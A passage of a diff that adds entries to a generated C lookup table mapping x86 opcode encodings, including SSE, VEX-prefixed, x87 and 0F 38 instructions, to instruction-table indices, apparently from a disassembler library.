+ /* ce6 - */ 0,
+ /* ce7 - */ 0,
+ /* ce8 - */ 0,
+ /* ce9 - _0F_C7_01 */ 0x40a7,
+ /* cea - */ 0,
+ /* ceb - */ 0,
+ /* cec - */ 0,
+ /* ced - */ 0,
+ /* cee - _0F_C7_06 */ 0xd62c,
+ /* cef - _0F_C7_07 */ 0x240f,
+ /* cf0 - */ 0,
+ /* cf1 - _66_0F_D0 */ 0x2410,
+ /* cf2 - */ 0,
+ /* cf3 - _F2_0F_D0 */ 0x2411,
+ /* cf4 - */ 0,
+ /* cf5 - _V_66_0F_D0 */ 0x40a8,
+ /* cf6 - */ 0,
+ /* cf7 - _V_F2_0F_D0 */ 0x40a9,
+ /* cf8 - */ 0,
+ /* cf9 - */ 0,
+ /* cfa - */ 0,
+ /* cfb - */ 0,
+ /* cfc - _0F_D1 */ 0x2412,
+ /* cfd - _66_0F_D1 */ 0x2413,
+ /* cfe - */ 0,
+ /* cff - */ 0,
+ /* d00 - */ 0,
+ /* d01 - _V_66_0F_D1 */ 0x40aa,
+ /* d02 - */ 0,
+ /* d03 - */ 0,
+ /* d04 - */ 0,
+ /* d05 - */ 0,
+ /* d06 - */ 0,
+ /* d07 - */ 0,
+ /* d08 - _0F_D2 */ 0x2414,
+ /* d09 - _66_0F_D2 */ 0x2415,
+ /* d0a - */ 0,
+ /* d0b - */ 0,
+ /* d0c - */ 0,
+ /* d0d - _V_66_0F_D2 */ 0x40ab,
+ /* d0e - */ 0,
+ /* d0f - */ 0,
+ /* d10 - */ 0,
+ /* d11 - */ 0,
+ /* d12 - */ 0,
+ /* d13 - */ 0,
+ /* d14 - _0F_D3 */ 0x2416,
+ /* d15 - _66_0F_D3 */ 0x2417,
+ /* d16 - */ 0,
+ /* d17 - */ 0,
+ /* d18 - */ 0,
+ /* d19 - _V_66_0F_D3 */ 0x40ac,
+ /* d1a - */ 0,
+ /* d1b - */ 0,
+ /* d1c - */ 0,
+ /* d1d - */ 0,
+ /* d1e - */ 0,
+ /* d1f - */ 0,
+ /* d20 - _0F_D4 */ 0x2418,
+ /* d21 - _66_0F_D4 */ 0x2419,
+ /* d22 - */ 0,
+ /* d23 - */ 0,
+ /* d24 - */ 0,
+ /* d25 - _V_66_0F_D4 */ 0x40ad,
+ /* d26 - */ 0,
+ /* d27 - */ 0,
+ /* d28 - */ 0,
+ /* d29 - */ 0,
+ /* d2a - */ 0,
+ /* d2b - */ 0,
+ /* d2c - _0F_D5 */ 0x241a,
+ /* d2d - _66_0F_D5 */ 0x241b,
+ /* d2e - */ 0,
+ /* d2f - */ 0,
+ /* d30 - */ 0,
+ /* d31 - _V_66_0F_D5 */ 0x40ae,
+ /* d32 - */ 0,
+ /* d33 - */ 0,
+ /* d34 - */ 0,
+ /* d35 - */ 0,
+ /* d36 - */ 0,
+ /* d37 - */ 0,
+ /* d38 - */ 0,
+ /* d39 - _66_0F_D6 */ 0x241c,
+ /* d3a - _F3_0F_D6 */ 0x241d,
+ /* d3b - _F2_0F_D6 */ 0x241e,
+ /* d3c - */ 0,
+ /* d3d - _V_66_0F_D6 */ 0x40af,
+ /* d3e - */ 0,
+ /* d3f - */ 0,
+ /* d40 - */ 0,
+ /* d41 - */ 0,
+ /* d42 - */ 0,
+ /* d43 - */ 0,
+ /* d44 - _0F_D7 */ 0x241f,
+ /* d45 - _66_0F_D7 */ 0x2420,
+ /* d46 - */ 0,
+ /* d47 - */ 0,
+ /* d48 - */ 0,
+ /* d49 - _V_66_0F_D7 */ 0x40b0,
+ /* d4a - */ 0,
+ /* d4b - */ 0,
+ /* d4c - */ 0,
+ /* d4d - */ 0,
+ /* d4e - */ 0,
+ /* d4f - */ 0,
+ /* d50 - _0F_D8 */ 0x2421,
+ /* d51 - _66_0F_D8 */ 0x2422,
+ /* d52 - */ 0,
+ /* d53 - */ 0,
+ /* d54 - */ 0,
+ /* d55 - _V_66_0F_D8 */ 0x40b1,
+ /* d56 - */ 0,
+ /* d57 - */ 0,
+ /* d58 - */ 0,
+ /* d59 - */ 0,
+ /* d5a - */ 0,
+ /* d5b - */ 0,
+ /* d5c - _0F_D9 */ 0x2423,
+ /* d5d - _66_0F_D9 */ 0x2424,
+ /* d5e - */ 0,
+ /* d5f - */ 0,
+ /* d60 - */ 0,
+ /* d61 - _V_66_0F_D9 */ 0x40b2,
+ /* d62 - */ 0,
+ /* d63 - */ 0,
+ /* d64 - */ 0,
+ /* d65 - */ 0,
+ /* d66 - */ 0,
+ /* d67 - */ 0,
+ /* d68 - _0F_DA */ 0x2425,
+ /* d69 - _66_0F_DA */ 0x2426,
+ /* d6a - */ 0,
+ /* d6b - */ 0,
+ /* d6c - */ 0,
+ /* d6d - _V_66_0F_DA */ 0x40b3,
+ /* d6e - */ 0,
+ /* d6f - */ 0,
+ /* d70 - */ 0,
+ /* d71 - */ 0,
+ /* d72 - */ 0,
+ /* d73 - */ 0,
+ /* d74 - _0F_DB */ 0x2427,
+ /* d75 - _66_0F_DB */ 0x2428,
+ /* d76 - */ 0,
+ /* d77 - */ 0,
+ /* d78 - */ 0,
+ /* d79 - _V_66_0F_DB */ 0x40b4,
+ /* d7a - */ 0,
+ /* d7b - */ 0,
+ /* d7c - */ 0,
+ /* d7d - */ 0,
+ /* d7e - */ 0,
+ /* d7f - */ 0,
+ /* d80 - _0F_DC */ 0x2429,
+ /* d81 - _66_0F_DC */ 0x242a,
+ /* d82 - */ 0,
+ /* d83 - */ 0,
+ /* d84 - */ 0,
+ /* d85 - _V_66_0F_DC */ 0x40b5,
+ /* d86 - */ 0,
+ /* d87 - */ 0,
+ /* d88 - */ 0,
+ /* d89 - */ 0,
+ /* d8a - */ 0,
+ /* d8b - */ 0,
+ /* d8c - _0F_DD */ 0x242b,
+ /* d8d - _66_0F_DD */ 0x242c,
+ /* d8e - */ 0,
+ /* d8f - */ 0,
+ /* d90 - */ 0,
+ /* d91 - _V_66_0F_DD */ 0x40b6,
+ /* d92 - */ 0,
+ /* d93 - */ 0,
+ /* d94 - */ 0,
+ /* d95 - */ 0,
+ /* d96 - */ 0,
+ /* d97 - */ 0,
+ /* d98 - _0F_DE */ 0x242d,
+ /* d99 - _66_0F_DE */ 0x242e,
+ /* d9a - */ 0,
+ /* d9b - */ 0,
+ /* d9c - */ 0,
+ /* d9d - _V_66_0F_DE */ 0x40b7,
+ /* d9e - */ 0,
+ /* d9f - */ 0,
+ /* da0 - */ 0,
+ /* da1 - */ 0,
+ /* da2 - */ 0,
+ /* da3 - */ 0,
+ /* da4 - _0F_DF */ 0x242f,
+ /* da5 - _66_0F_DF */ 0x2430,
+ /* da6 - */ 0,
+ /* da7 - */ 0,
+ /* da8 - */ 0,
+ /* da9 - _V_66_0F_DF */ 0x40b8,
+ /* daa - */ 0,
+ /* dab - */ 0,
+ /* dac - */ 0,
+ /* dad - */ 0,
+ /* dae - */ 0,
+ /* daf - */ 0,
+ /* db0 - _0F_E0 */ 0x2431,
+ /* db1 - _66_0F_E0 */ 0x2432,
+ /* db2 - */ 0,
+ /* db3 - */ 0,
+ /* db4 - */ 0,
+ /* db5 - _V_66_0F_E0 */ 0x40b9,
+ /* db6 - */ 0,
+ /* db7 - */ 0,
+ /* db8 - */ 0,
+ /* db9 - */ 0,
+ /* dba - */ 0,
+ /* dbb - */ 0,
+ /* dbc - _0F_E1 */ 0x2433,
+ /* dbd - _66_0F_E1 */ 0x2434,
+ /* dbe - */ 0,
+ /* dbf - */ 0,
+ /* dc0 - */ 0,
+ /* dc1 - _V_66_0F_E1 */ 0x40ba,
+ /* dc2 - */ 0,
+ /* dc3 - */ 0,
+ /* dc4 - */ 0,
+ /* dc5 - */ 0,
+ /* dc6 - */ 0,
+ /* dc7 - */ 0,
+ /* dc8 - _0F_E2 */ 0x2435,
+ /* dc9 - _66_0F_E2 */ 0x2436,
+ /* dca - */ 0,
+ /* dcb - */ 0,
+ /* dcc - */ 0,
+ /* dcd - _V_66_0F_E2 */ 0x40bb,
+ /* dce - */ 0,
+ /* dcf - */ 0,
+ /* dd0 - */ 0,
+ /* dd1 - */ 0,
+ /* dd2 - */ 0,
+ /* dd3 - */ 0,
+ /* dd4 - _0F_E3 */ 0x2437,
+ /* dd5 - _66_0F_E3 */ 0x2438,
+ /* dd6 - */ 0,
+ /* dd7 - */ 0,
+ /* dd8 - */ 0,
+ /* dd9 - _V_66_0F_E3 */ 0x40bc,
+ /* dda - */ 0,
+ /* ddb - */ 0,
+ /* ddc - */ 0,
+ /* ddd - */ 0,
+ /* dde - */ 0,
+ /* ddf - */ 0,
+ /* de0 - _0F_E4 */ 0x2439,
+ /* de1 - _66_0F_E4 */ 0x243a,
+ /* de2 - */ 0,
+ /* de3 - */ 0,
+ /* de4 - */ 0,
+ /* de5 - _V_66_0F_E4 */ 0x40bd,
+ /* de6 - */ 0,
+ /* de7 - */ 0,
+ /* de8 - */ 0,
+ /* de9 - */ 0,
+ /* dea - */ 0,
+ /* deb - */ 0,
+ /* dec - _0F_E5 */ 0x243b,
+ /* ded - _66_0F_E5 */ 0x243c,
+ /* dee - */ 0,
+ /* def - */ 0,
+ /* df0 - */ 0,
+ /* df1 - _V_66_0F_E5 */ 0x40be,
+ /* df2 - */ 0,
+ /* df3 - */ 0,
+ /* df4 - */ 0,
+ /* df5 - */ 0,
+ /* df6 - */ 0,
+ /* df7 - */ 0,
+ /* df8 - */ 0,
+ /* df9 - _66_0F_E6 */ 0x243d,
+ /* dfa - _F3_0F_E6 */ 0x243e,
+ /* dfb - _F2_0F_E6 */ 0x243f,
+ /* dfc - */ 0,
+ /* dfd - _V_66_0F_E6 */ 0x40bf,
+ /* dfe - _V_F3_0F_E6 */ 0x40c0,
+ /* dff - _V_F2_0F_E6 */ 0x40c1,
+ /* e00 - */ 0,
+ /* e01 - */ 0,
+ /* e02 - */ 0,
+ /* e03 - */ 0,
+ /* e04 - _0F_E7 */ 0x2440,
+ /* e05 - _66_0F_E7 */ 0x2441,
+ /* e06 - */ 0,
+ /* e07 - */ 0,
+ /* e08 - */ 0,
+ /* e09 - _V_66_0F_E7 */ 0x40c2,
+ /* e0a - */ 0,
+ /* e0b - */ 0,
+ /* e0c - */ 0,
+ /* e0d - */ 0,
+ /* e0e - */ 0,
+ /* e0f - */ 0,
+ /* e10 - _0F_E8 */ 0x2442,
+ /* e11 - _66_0F_E8 */ 0x2443,
+ /* e12 - */ 0,
+ /* e13 - */ 0,
+ /* e14 - */ 0,
+ /* e15 - _V_66_0F_E8 */ 0x40c3,
+ /* e16 - */ 0,
+ /* e17 - */ 0,
+ /* e18 - */ 0,
+ /* e19 - */ 0,
+ /* e1a - */ 0,
+ /* e1b - */ 0,
+ /* e1c - _0F_E9 */ 0x2444,
+ /* e1d - _66_0F_E9 */ 0x2445,
+ /* e1e - */ 0,
+ /* e1f - */ 0,
+ /* e20 - */ 0,
+ /* e21 - _V_66_0F_E9 */ 0x40c4,
+ /* e22 - */ 0,
+ /* e23 - */ 0,
+ /* e24 - */ 0,
+ /* e25 - */ 0,
+ /* e26 - */ 0,
+ /* e27 - */ 0,
+ /* e28 - _0F_EA */ 0x2446,
+ /* e29 - _66_0F_EA */ 0x2447,
+ /* e2a - */ 0,
+ /* e2b - */ 0,
+ /* e2c - */ 0,
+ /* e2d - _V_66_0F_EA */ 0x40c5,
+ /* e2e - */ 0,
+ /* e2f - */ 0,
+ /* e30 - */ 0,
+ /* e31 - */ 0,
+ /* e32 - */ 0,
+ /* e33 - */ 0,
+ /* e34 - _0F_EB */ 0x2448,
+ /* e35 - _66_0F_EB */ 0x2449,
+ /* e36 - */ 0,
+ /* e37 - */ 0,
+ /* e38 - */ 0,
+ /* e39 - _V_66_0F_EB */ 0x40c6,
+ /* e3a - */ 0,
+ /* e3b - */ 0,
+ /* e3c - */ 0,
+ /* e3d - */ 0,
+ /* e3e - */ 0,
+ /* e3f - */ 0,
+ /* e40 - _0F_EC */ 0x244a,
+ /* e41 - _66_0F_EC */ 0x244b,
+ /* e42 - */ 0,
+ /* e43 - */ 0,
+ /* e44 - */ 0,
+ /* e45 - _V_66_0F_EC */ 0x40c7,
+ /* e46 - */ 0,
+ /* e47 - */ 0,
+ /* e48 - */ 0,
+ /* e49 - */ 0,
+ /* e4a - */ 0,
+ /* e4b - */ 0,
+ /* e4c - _0F_ED */ 0x244c,
+ /* e4d - _66_0F_ED */ 0x244d,
+ /* e4e - */ 0,
+ /* e4f - */ 0,
+ /* e50 - */ 0,
+ /* e51 - _V_66_0F_ED */ 0x40c8,
+ /* e52 - */ 0,
+ /* e53 - */ 0,
+ /* e54 - */ 0,
+ /* e55 - */ 0,
+ /* e56 - */ 0,
+ /* e57 - */ 0,
+ /* e58 - _0F_EE */ 0x244e,
+ /* e59 - _66_0F_EE */ 0x244f,
+ /* e5a - */ 0,
+ /* e5b - */ 0,
+ /* e5c - */ 0,
+ /* e5d - _V_66_0F_EE */ 0x40c9,
+ /* e5e - */ 0,
+ /* e5f - */ 0,
+ /* e60 - */ 0,
+ /* e61 - */ 0,
+ /* e62 - */ 0,
+ /* e63 - */ 0,
+ /* e64 - _0F_EF */ 0x2450,
+ /* e65 - _66_0F_EF */ 0x2451,
+ /* e66 - */ 0,
+ /* e67 - */ 0,
+ /* e68 - */ 0,
+ /* e69 - _V_66_0F_EF */ 0x40ca,
+ /* e6a - */ 0,
+ /* e6b - */ 0,
+ /* e6c - */ 0,
+ /* e6d - */ 0,
+ /* e6e - */ 0,
+ /* e6f - */ 0,
+ /* e70 - */ 0,
+ /* e71 - */ 0,
+ /* e72 - */ 0,
+ /* e73 - _F2_0F_F0 */ 0x2452,
+ /* e74 - */ 0,
+ /* e75 - */ 0,
+ /* e76 - */ 0,
+ /* e77 - _V_F2_0F_F0 */ 0x40cb,
+ /* e78 - */ 0,
+ /* e79 - */ 0,
+ /* e7a - */ 0,
+ /* e7b - */ 0,
+ /* e7c - _0F_F1 */ 0x2453,
+ /* e7d - _66_0F_F1 */ 0x2454,
+ /* e7e - */ 0,
+ /* e7f - */ 0,
+ /* e80 - */ 0,
+ /* e81 - _V_66_0F_F1 */ 0x40cc,
+ /* e82 - */ 0,
+ /* e83 - */ 0,
+ /* e84 - */ 0,
+ /* e85 - */ 0,
+ /* e86 - */ 0,
+ /* e87 - */ 0,
+ /* e88 - _0F_F2 */ 0x2455,
+ /* e89 - _66_0F_F2 */ 0x2456,
+ /* e8a - */ 0,
+ /* e8b - */ 0,
+ /* e8c - */ 0,
+ /* e8d - _V_66_0F_F2 */ 0x40cd,
+ /* e8e - */ 0,
+ /* e8f - */ 0,
+ /* e90 - */ 0,
+ /* e91 - */ 0,
+ /* e92 - */ 0,
+ /* e93 - */ 0,
+ /* e94 - _0F_F3 */ 0x2457,
+ /* e95 - _66_0F_F3 */ 0x2458,
+ /* e96 - */ 0,
+ /* e97 - */ 0,
+ /* e98 - */ 0,
+ /* e99 - _V_66_0F_F3 */ 0x40ce,
+ /* e9a - */ 0,
+ /* e9b - */ 0,
+ /* e9c - */ 0,
+ /* e9d - */ 0,
+ /* e9e - */ 0,
+ /* e9f - */ 0,
+ /* ea0 - _0F_F4 */ 0x2459,
+ /* ea1 - _66_0F_F4 */ 0x245a,
+ /* ea2 - */ 0,
+ /* ea3 - */ 0,
+ /* ea4 - */ 0,
+ /* ea5 - _V_66_0F_F4 */ 0x40cf,
+ /* ea6 - */ 0,
+ /* ea7 - */ 0,
+ /* ea8 - */ 0,
+ /* ea9 - */ 0,
+ /* eaa - */ 0,
+ /* eab - */ 0,
+ /* eac - _0F_F5 */ 0x245b,
+ /* ead - _66_0F_F5 */ 0x245c,
+ /* eae - */ 0,
+ /* eaf - */ 0,
+ /* eb0 - */ 0,
+ /* eb1 - _V_66_0F_F5 */ 0x40d0,
+ /* eb2 - */ 0,
+ /* eb3 - */ 0,
+ /* eb4 - */ 0,
+ /* eb5 - */ 0,
+ /* eb6 - */ 0,
+ /* eb7 - */ 0,
+ /* eb8 - _0F_F6 */ 0x245d,
+ /* eb9 - _66_0F_F6 */ 0x245e,
+ /* eba - */ 0,
+ /* ebb - */ 0,
+ /* ebc - */ 0,
+ /* ebd - _V_66_0F_F6 */ 0x40d1,
+ /* ebe - */ 0,
+ /* ebf - */ 0,
+ /* ec0 - */ 0,
+ /* ec1 - */ 0,
+ /* ec2 - */ 0,
+ /* ec3 - */ 0,
+ /* ec4 - _0F_F7 */ 0x245f,
+ /* ec5 - _66_0F_F7 */ 0x2460,
+ /* ec6 - */ 0,
+ /* ec7 - */ 0,
+ /* ec8 - */ 0,
+ /* ec9 - _V_66_0F_F7 */ 0x40d2,
+ /* eca - */ 0,
+ /* ecb - */ 0,
+ /* ecc - */ 0,
+ /* ecd - */ 0,
+ /* ece - */ 0,
+ /* ecf - */ 0,
+ /* ed0 - _0F_F8 */ 0x2461,
+ /* ed1 - _66_0F_F8 */ 0x2462,
+ /* ed2 - */ 0,
+ /* ed3 - */ 0,
+ /* ed4 - */ 0,
+ /* ed5 - _V_66_0F_F8 */ 0x40d3,
+ /* ed6 - */ 0,
+ /* ed7 - */ 0,
+ /* ed8 - */ 0,
+ /* ed9 - */ 0,
+ /* eda - */ 0,
+ /* edb - */ 0,
+ /* edc - _0F_F9 */ 0x2463,
+ /* edd - _66_0F_F9 */ 0x2464,
+ /* ede - */ 0,
+ /* edf - */ 0,
+ /* ee0 - */ 0,
+ /* ee1 - _V_66_0F_F9 */ 0x40d4,
+ /* ee2 - */ 0,
+ /* ee3 - */ 0,
+ /* ee4 - */ 0,
+ /* ee5 - */ 0,
+ /* ee6 - */ 0,
+ /* ee7 - */ 0,
+ /* ee8 - _0F_FA */ 0x2465,
+ /* ee9 - _66_0F_FA */ 0x2466,
+ /* eea - */ 0,
+ /* eeb - */ 0,
+ /* eec - */ 0,
+ /* eed - _V_66_0F_FA */ 0x40d5,
+ /* eee - */ 0,
+ /* eef - */ 0,
+ /* ef0 - */ 0,
+ /* ef1 - */ 0,
+ /* ef2 - */ 0,
+ /* ef3 - */ 0,
+ /* ef4 - _0F_FB */ 0x2467,
+ /* ef5 - _66_0F_FB */ 0x2468,
+ /* ef6 - */ 0,
+ /* ef7 - */ 0,
+ /* ef8 - */ 0,
+ /* ef9 - _V_66_0F_FB */ 0x40d6,
+ /* efa - */ 0,
+ /* efb - */ 0,
+ /* efc - */ 0,
+ /* efd - */ 0,
+ /* efe - */ 0,
+ /* eff - */ 0,
+ /* f00 - _0F_FC */ 0x2469,
+ /* f01 - _66_0F_FC */ 0x246a,
+ /* f02 - */ 0,
+ /* f03 - */ 0,
+ /* f04 - */ 0,
+ /* f05 - _V_66_0F_FC */ 0x40d7,
+ /* f06 - */ 0,
+ /* f07 - */ 0,
+ /* f08 - */ 0,
+ /* f09 - */ 0,
+ /* f0a - */ 0,
+ /* f0b - */ 0,
+ /* f0c - _0F_FD */ 0x246b,
+ /* f0d - _66_0F_FD */ 0x246c,
+ /* f0e - */ 0,
+ /* f0f - */ 0,
+ /* f10 - */ 0,
+ /* f11 - _V_66_0F_FD */ 0x40d8,
+ /* f12 - */ 0,
+ /* f13 - */ 0,
+ /* f14 - */ 0,
+ /* f15 - */ 0,
+ /* f16 - */ 0,
+ /* f17 - */ 0,
+ /* f18 - _0F_FE */ 0x246d,
+ /* f19 - _66_0F_FE */ 0x246e,
+ /* f1a - */ 0,
+ /* f1b - */ 0,
+ /* f1c - */ 0,
+ /* f1d - _V_66_0F_FE */ 0x40d9,
+ /* f1e - */ 0,
+ /* f1f - */ 0,
+ /* f20 - */ 0,
+ /* f21 - */ 0,
+ /* f22 - */ 0,
+ /* f23 - */ 0,
+ /* f24 - _D9_06 */ 0x246f,
+ /* f25 - _9B_D9_06 */ 0x2470,
+ /* f26 - */ 0,
+ /* f27 - */ 0,
+ /* f28 - */ 0,
+ /* f29 - */ 0,
+ /* f2a - */ 0,
+ /* f2b - */ 0,
+ /* f2c - */ 0,
+ /* f2d - */ 0,
+ /* f2e - */ 0,
+ /* f2f - */ 0,
+ /* f30 - _D9_07 */ 0x2471,
+ /* f31 - _9B_D9_07 */ 0x2472,
+ /* f32 - */ 0,
+ /* f33 - */ 0,
+ /* f34 - */ 0,
+ /* f35 - */ 0,
+ /* f36 - */ 0,
+ /* f37 - */ 0,
+ /* f38 - */ 0,
+ /* f39 - */ 0,
+ /* f3a - */ 0,
+ /* f3b - */ 0,
+ /* f3c - _DB_E2 */ 0x2473,
+ /* f3d - _9B_DB_E2 */ 0x2474,
+ /* f3e - */ 0,
+ /* f3f - */ 0,
+ /* f40 - */ 0,
+ /* f41 - */ 0,
+ /* f42 - */ 0,
+ /* f43 - */ 0,
+ /* f44 - */ 0,
+ /* f45 - */ 0,
+ /* f46 - */ 0,
+ /* f47 - */ 0,
+ /* f48 - _DB_E3 */ 0x2475,
+ /* f49 - _9B_DB_E3 */ 0x2476,
+ /* f4a - */ 0,
+ /* f4b - */ 0,
+ /* f4c - */ 0,
+ /* f4d - */ 0,
+ /* f4e - */ 0,
+ /* f4f - */ 0,
+ /* f50 - */ 0,
+ /* f51 - */ 0,
+ /* f52 - */ 0,
+ /* f53 - */ 0,
+ /* f54 - _DD_06 */ 0x2477,
+ /* f55 - _9B_DD_06 */ 0x2478,
+ /* f56 - */ 0,
+ /* f57 - */ 0,
+ /* f58 - */ 0,
+ /* f59 - */ 0,
+ /* f5a - */ 0,
+ /* f5b - */ 0,
+ /* f5c - */ 0,
+ /* f5d - */ 0,
+ /* f5e - */ 0,
+ /* f5f - */ 0,
+ /* f60 - _DD_07 */ 0x2479,
+ /* f61 - _9B_DD_07 */ 0x247a,
+ /* f62 - */ 0,
+ /* f63 - */ 0,
+ /* f64 - */ 0,
+ /* f65 - */ 0,
+ /* f66 - */ 0,
+ /* f67 - */ 0,
+ /* f68 - */ 0,
+ /* f69 - */ 0,
+ /* f6a - */ 0,
+ /* f6b - */ 0,
+ /* f6c - _DF_E0 */ 0x247b,
+ /* f6d - _9B_DF_E0 */ 0x247c,
+ /* f6e - */ 0,
+ /* f6f - */ 0,
+ /* f70 - */ 0,
+ /* f71 - */ 0,
+ /* f72 - */ 0,
+ /* f73 - */ 0,
+ /* f74 - */ 0,
+ /* f75 - */ 0,
+ /* f76 - */ 0,
+ /* f77 - */ 0,
+ /* f78 - _0F_38_00 */ 0x247d,
+ /* f79 - _66_0F_38_00 */ 0x247e,
+ /* f7a - */ 0,
+ /* f7b - */ 0,
+ /* f7c - */ 0,
+ /* f7d - _V_66_0F_38_00 */ 0x40da,
+ /* f7e - */ 0,
+ /* f7f - */ 0,
+ /* f80 - */ 0,
+ /* f81 - */ 0,
+ /* f82 - */ 0,
+ /* f83 - */ 0,
+ /* f84 - _0F_38_01 */ 0x247f,
+ /* f85 - _66_0F_38_01 */ 0x2480,
+ /* f86 - */ 0,
+ /* f87 - */ 0,
+ /* f88 - */ 0,
+ /* f89 - _V_66_0F_38_01 */ 0x40db,
+ /* f8a - */ 0,
+ /* f8b - */ 0,
+ /* f8c - */ 0,
+ /* f8d - */ 0,
+ /* f8e - */ 0,
+ /* f8f - */ 0,
+ /* f90 - _0F_38_02 */ 0x2481,
+ /* f91 - _66_0F_38_02 */ 0x2482,
+ /* f92 - */ 0,
+ /* f93 - */ 0,
+ /* f94 - */ 0,
+ /* f95 - _V_66_0F_38_02 */ 0x40dc,
+ /* f96 - */ 0,
+ /* f97 - */ 0,
+ /* f98 - */ 0,
+ /* f99 - */ 0,
+ /* f9a - */ 0,
+ /* f9b - */ 0,
+ /* f9c - _0F_38_03 */ 0x2483,
+ /* f9d - _66_0F_38_03 */ 0x2484,
+ /* f9e - */ 0,
+ /* f9f - */ 0,
+ /* fa0 - */ 0,
+ /* fa1 - _V_66_0F_38_03 */ 0x40dd,
+ /* fa2 - */ 0,
+ /* fa3 - */ 0,
+ /* fa4 - */ 0,
+ /* fa5 - */ 0,
+ /* fa6 - */ 0,
+ /* fa7 - */ 0,
+ /* fa8 - _0F_38_04 */ 0x2485,
+ /* fa9 - _66_0F_38_04 */ 0x2486,
+ /* faa - */ 0,
+ /* fab - */ 0,
+ /* fac - */ 0,
+ /* fad - _V_66_0F_38_04 */ 0x40de,
+ /* fae - */ 0,
+ /* faf - */ 0,
+ /* fb0 - */ 0,
+ /* fb1 - */ 0,
+ /* fb2 - */ 0,
+ /* fb3 - */ 0,
+ /* fb4 - _0F_38_05 */ 0x2487,
+ /* fb5 - _66_0F_38_05 */ 0x2488,
+ /* fb6 - */ 0,
+ /* fb7 - */ 0,
+ /* fb8 - */ 0,
+ /* fb9 - _V_66_0F_38_05 */ 0x40df,
+ /* fba - */ 0,
+ /* fbb - */ 0,
+ /* fbc - */ 0,
+ /* fbd - */ 0,
+ /* fbe - */ 0,
+ /* fbf - */ 0,
+ /* fc0 - _0F_38_06 */ 0x2489,
+ /* fc1 - _66_0F_38_06 */ 0x248a,
+ /* fc2 - */ 0,
+ /* fc3 - */ 0,
+ /* fc4 - */ 0,
+ /* fc5 - _V_66_0F_38_06 */ 0x40e0,
+ /* fc6 - */ 0,
+ /* fc7 - */ 0,
+ /* fc8 - */ 0,
+ /* fc9 - */ 0,
+ /* fca - */ 0,
+ /* fcb - */ 0,
+ /* fcc - _0F_38_07 */ 0x248b,
+ /* fcd - _66_0F_38_07 */ 0x248c,
+ /* fce - */ 0,
+ /* fcf - */ 0,
+ /* fd0 - */ 0,
+ /* fd1 - _V_66_0F_38_07 */ 0x40e1,
+ /* fd2 - */ 0,
+ /* fd3 - */ 0,
+ /* fd4 - */ 0,
+ /* fd5 - */ 0,
+ /* fd6 - */ 0,
+ /* fd7 - */ 0,
+ /* fd8 - _0F_38_08 */ 0x248d,
+ /* fd9 - _66_0F_38_08 */ 0x248e,
+ /* fda - */ 0,
+ /* fdb - */ 0,
+ /* fdc - */ 0,
+ /* fdd - _V_66_0F_38_08 */ 0x40e2,
+ /* fde - */ 0,
+ /* fdf - */ 0,
+ /* fe0 - */ 0,
+ /* fe1 - */ 0,
+ /* fe2 - */ 0,
+ /* fe3 - */ 0,
+ /* fe4 - _0F_38_09 */ 0x248f,
+ /* fe5 - _66_0F_38_09 */ 0x2490,
+ /* fe6 - */ 0,
+ /* fe7 - */ 0,
+ /* fe8 - */ 0,
+ /* fe9 - _V_66_0F_38_09 */ 0x40e3,
+ /* fea - */ 0,
+ /* feb - */ 0,
+ /* fec - */ 0,
+ /* fed - */ 0,
+ /* fee - */ 0,
+ /* fef - */ 0,
+ /* ff0 - _0F_38_0A */ 0x2491,
+ /* ff1 - _66_0F_38_0A */ 0x2492,
+ /* ff2 - */ 0,
+ /* ff3 - */ 0,
+ /* ff4 - */ 0,
+ /* ff5 - _V_66_0F_38_0A */ 0x40e4,
+ /* ff6 - */ 0,
+ /* ff7 - */ 0,
+ /* ff8 - */ 0,
+ /* ff9 - */ 0,
+ /* ffa - */ 0,
+ /* ffb - */ 0,
+ /* ffc - _0F_38_0B */ 0x2493,
+ /* ffd - _66_0F_38_0B */ 0x2494,
+ /* ffe - */ 0,
+ /* fff - */ 0,
+ /* 1000 - */ 0,
+ /* 1001 - _V_66_0F_38_0B */ 0x40e5,
+ /* 1002 - */ 0,
+ /* 1003 - */ 0,
+ /* 1004 - */ 0,
+ /* 1005 - */ 0,
+ /* 1006 - */ 0,
+ /* 1007 - */ 0,
+ /* 1008 - */ 0,
+ /* 1009 - */ 0,
+ /* 100a - */ 0,
+ /* 100b - */ 0,
+ /* 100c - */ 0,
+ /* 100d - _V_66_0F_38_0C */ 0x40e6,
+ /* 100e - */ 0,
+ /* 100f - */ 0,
+ /* 1010 - */ 0,
+ /* 1011 - */ 0,
+ /* 1012 - */ 0,
+ /* 1013 - */ 0,
+ /* 1014 - */ 0,
+ /* 1015 - */ 0,
+ /* 1016 - */ 0,
+ /* 1017 - */ 0,
+ /* 1018 - */ 0,
+ /* 1019 - _V_66_0F_38_0D */ 0x40e7,
+ /* 101a - */ 0,
+ /* 101b - */ 0,
+ /* 101c - */ 0,
+ /* 101d - */ 0,
+ /* 101e - */ 0,
+ /* 101f - */ 0,
+ /* 1020 - */ 0,
+ /* 1021 - */ 0,
+ /* 1022 - */ 0,
+ /* 1023 - */ 0,
+ /* 1024 - */ 0,
+ /* 1025 - _V_66_0F_38_0E */ 0x40e8,
+ /* 1026 - */ 0,
+ /* 1027 - */ 0,
+ /* 1028 - */ 0,
+ /* 1029 - */ 0,
+ /* 102a - */ 0,
+ /* 102b - */ 0,
+ /* 102c - */ 0,
+ /* 102d - */ 0,
+ /* 102e - */ 0,
+ /* 102f - */ 0,
+ /* 1030 - */ 0,
+ /* 1031 - _V_66_0F_38_0F */ 0x40e9,
+ /* 1032 - */ 0,
+ /* 1033 - */ 0,
+ /* 1034 - */ 0,
+ /* 1035 - */ 0,
+ /* 1036 - */ 0,
+ /* 1037 - */ 0,
+ /* 1038 - */ 0,
+ /* 1039 - _66_0F_38_10 */ 0x40ea,
+ /* 103a - */ 0,
+ /* 103b - */ 0,
+ /* 103c - */ 0,
+ /* 103d - */ 0,
+ /* 103e - */ 0,
+ /* 103f - */ 0,
+ /* 1040 - */ 0,
+ /* 1041 - */ 0,
+ /* 1042 - */ 0,
+ /* 1043 - */ 0,
+ /* 1044 - */ 0,
+ /* 1045 - _66_0F_38_14 */ 0x40eb,
+ /* 1046 - */ 0,
+ /* 1047 - */ 0,
+ /* 1048 - */ 0,
+ /* 1049 - */ 0,
+ /* 104a - */ 0,
+ /* 104b - */ 0,
+ /* 104c - */ 0,
+ /* 104d - */ 0,
+ /* 104e - */ 0,
+ /* 104f - */ 0,
+ /* 1050 - */ 0,
+ /* 1051 - _66_0F_38_15 */ 0x40ec,
+ /* 1052 - */ 0,
+ /* 1053 - */ 0,
+ /* 1054 - */ 0,
+ /* 1055 - */ 0,
